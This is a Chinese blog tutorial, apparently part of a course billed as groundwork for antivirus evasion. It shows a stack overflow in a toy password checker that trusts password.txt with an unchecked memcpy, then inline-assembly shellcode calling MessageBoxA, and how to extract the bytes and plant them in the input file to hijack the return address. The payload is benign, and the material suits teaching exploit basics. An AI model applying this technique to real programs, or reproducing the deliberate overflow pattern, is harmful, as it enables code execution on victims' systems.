当前位置:   article > 正文

【免杀前置课——shellcode】二十、初识shellcode——配合栈溢出漏洞利用shellcode在代码中返回MessageBox函数_基于溢出免杀

基于溢出免杀

栈溢出漏洞反弹shellcode

shellcode

shellcode: shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。.shellcode常常使用机器语言编写。
栈溢出漏洞
从上文的栈溢出漏洞中我们知道,栈溢出漏洞是因为其给的空间过小,而传参过大,而且其ret返回地址固定为ebp+4,导致他可以直接跳转到想执行的代码位置,那我们要跳转到本身程序中并没有问题,那我们能否利用这个漏洞加载我们自己写的恶意代码到这个程序中呢? 当然是可以的,请看下文。

从上文,因为我们知道他给开辟了16个内存地址用来存储strcpy的数据,这里我们用16个字符填补位置,打开010editor将16个字符后的位置淹没为我们要跳转的地址。(注意大小端存储)
在这里插入图片描述

在这里插入图片描述
我们要跳转到我们执行正确这里不能直接执行messageboxA函数,需要先传参数,所以要跳转的地址应该是00611196。

取出shellcode

确定我们可以成功进行跳转后。我们编写一个shellcode来将其取出。

#include<Windows.h>
#include<iostream>
void _declspec(naked)shellCode()
{
	__asm
	{
		push 0;
		push 0;
		push 0;
		push 0;
		mov eax, 0X778919E0;
		call eax;
		
	}
}
int main()
{
	printf("hello 51hook");
	LoadLibraryA("user32.dll");//要使用函数得先有
	shellCode();
	return 0;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22

这是一块调用messageboxa的shellcode。生成exe后进入我们的x64dbg。
选中我们编写的裸代码段。右键->二进制->编辑->复制数据->C样式shellcode字符串选中内容复制。

在这里插入图片描述

打开我们的password.txt用010editor,将我们的数据粘贴进去,注意这里要ctrl+shift+V,而不能ctrl+v
在这里插入图片描述
接下来在文件中弹出51hook字样,也就是加载我们的shellcode,利用push要输入的字符串输入数据和push eax传参。

#include<Windows.h>
#include<iostream>
void _declspec(naked)shellCode()
{
	__asm
	{
		//5    1    h    o    o    k
		//0X35 0X31 0X68 0X6F 0X6F 0X6B
		push 0x6B6F
		push 0x6F683135
		mov eax, esp;
		push 0;
		push 0;
		push eax;
		push 0;
		mov eax, 0X778919E0;
		call eax;
		
	}
}
int main()
{
	printf("hello 51hook");
	LoadLibraryA("user32.dll");//要使用函数得先有
	shellCode();
	return 0;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27

在这里插入图片描述
我们将重写得shellcode字符串重新复制覆盖,然后将我们shellcode代码的位置放到我们的跳转位置。
51
重载exe程序

#include<Windows.h>
#include<iostream>
#define PASSWORD "51hook"
int checkPassword(const char* password,int size)
{
	int result = 1;
	char buff[7]{};
	memcpy(buff, password, size);
	result = strcmp(PASSWORD, buff);
	return result;
}

int main()
{
	int flag = 0;
	char password[0x500];
	FILE* fp;
	if (NULL == (fp = fopen("password.txt", "rb")))
	{
		printf("打开失败");
		return 0;
	}
	fread(password, sizeof(password), 1, fp);
	flag = checkPassword(password, sizeof(password));
	if (flag)
	{
		MessageBoxA(0, "密码错误!", "提示", MB_OK);
	}
	else
	{
		MessageBoxA(0, "密码正确!", "提示", MB_OK);
	}
	return 0;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34

最后我们可以发现shellcode成功。
在这里插入图片描述

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/凡人多烦事01/article/detail/705329
推荐阅读
  

闽ICP备14008679号